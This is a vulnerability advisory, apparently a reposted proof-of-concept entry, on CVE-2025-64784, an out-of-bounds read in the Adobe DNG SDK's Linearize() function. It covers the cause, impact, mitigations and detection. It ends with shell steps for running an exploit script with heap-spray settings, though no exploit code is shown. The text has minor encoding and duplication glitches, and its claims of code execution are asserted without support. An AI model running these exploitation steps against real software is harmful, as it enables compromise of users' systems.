Adobe DNG SDK Linearize Out-Of-Bounds Read

The Adobe DNG SDK Linearize Out-Of-Bounds Read is a security The Adobe DNG SDK Linearize Out-Of-Bounds Read is a security vulnerability found in Adobe's Digital Negative (DNG) SDK.

It occurs within the `Linearize` function, which is responsible for processing raw image data. When parsing a specially crafted DNG file, the function miscalculates a memory offset. This causes it to attempt to read data from a memory address *outside* its allocated buffer (an "out-of-bounds read").

The vulnerability is typically triggered by malformed image dimensions or metadata within the DNG file. Impact includes application crashes (denial of service). More critically, it could lead to information disclosure, allowing an attacker to read sensitive data from other parts of the application's memory space.

Adobe released patches to address this flaw, highlighting the need for robust input validation and proper bounds checking in image processing libraries.

[+] References : https://packetstorm.news/files/id/213065/ & CVE-2025-64784

[+] Summary : A memory safety vulnerability exists in Adobe DNG SDK versions prior to v1.7.1.2410, affecting the Linearize() image processing routine.
When handling trimmed source images, the function erroneously performs operations using full image dimensions, resulting in an out?of?bounds (OOB) read condition.

This proof?of?concept demonstrates that, under controlled heap conditions, the OOB read can be reliably leveraged as a heap grooming primitive, enabling manipulation of adjacent heap objects.
By carefully influencing heap layout, the vulnerability may be escalated from a memory disclosure or denial?of?service condition into potential arbitrary code execution through corrupted virtual dispatch structures.

The issue is tracked as CVE-2025-64784 and affects applications that statically or dynamically link vulnerable versions of the Adobe DNG SDK.

[+] Component: Image Linearization / Trimming Logic

[+] Function: Linearize()

[+] Root Cause: Use of full image bounds instead of active (trimmed) area dimensions

[+] Affected Versions :

Adobe DNG SDK prior to v1.7.1.2410

Any downstream software embedding or linking against affected SDK builds

[+] Vulnerability Class :

Out?of?Bounds Read

Heap Memory Safety Violation

Potential Information Disclosure

Possible Code Execution (context?dependent)

[+] Technical Details

When a DNG image contains a trimmed active area, the SDK internally tracks reduced image bounds. However, the Linearize() routine incorrectly references the original full?image dimensions, causing memory reads beyond the allocated buffer.

While the primitive is inherently a read?only violation, repeated invocations combined with predictable allocator behavior allow attackers to:

Shape heap layout (heap grooming)

Observe memory patterns and object placement

Influence object adjacency and virtual table resolution

In favorable conditions, this can lead to virtual function pointer reuse or redirection, transforming a theoretical OOB read into a practical exploitation vector.

[+] Impact :

Confidentiality: Medium ? possible heap memory disclosure

Integrity: Low to Medium ? indirect influence on control flow

Availability: High ? application crash or denial of service

On hardened systems, impact may be limited to crashes. On less protected builds, further escalation cannot be ruled out.

[+] Attack Vector :

Processing of a crafted DNG image file

Triggered via:

Image preview

Validation

Import or batch processing

Delivery may be local or remote, depending on the consuming application

[+] Mitigations :

Upgrade to Adobe DNG SDK v1.7.1.2410 or later

Ensure Linearize() enforces active area bounds

Validate image metadata before processing

Enable memory?hardening mitigations:

ASLR

DEP / NX

Stack canaries

Fortify Source

Use sanitizers (ASan / UBSan) during testing

[+] Detection :

Crashes during DNG parsing or linearization

AddressSanitizer / Valgrind reports indicating OOB reads

Abnormal heap access patterns during image processing

[+] Proof of Concept (PoC)

The provided proof?of?concept demonstrates controlled heap manipulation by:

Spraying heap allocations with deterministic patterns

Creating strategic free gaps to influence allocator behavior

Positioning crafted objects adjacent to vulnerable allocations

Leveraging the OOB read to interact with attacker?controlled memory layouts

The PoC confirms that the vulnerability is exploitable beyond a simple crash, depending on runtime conditions and platform mitigations.

[+] POC :

5. How to Use:

bash

# 1. Prepare the environment

`chmod +x run_final_exploit.sh`

# 2. Run the full exploit

`./run_final_exploit.sh`

# 3. If it fails, try different versions

export HEAP_SPRAY_COUNT=500
export HEAP_SPRAY_SIZE=16384
./run_final_exploit.sh`

# 4. Or try a different libc version
./final_exploit exploit.dng final_exploit.dng 1 # Ubuntu 20.04
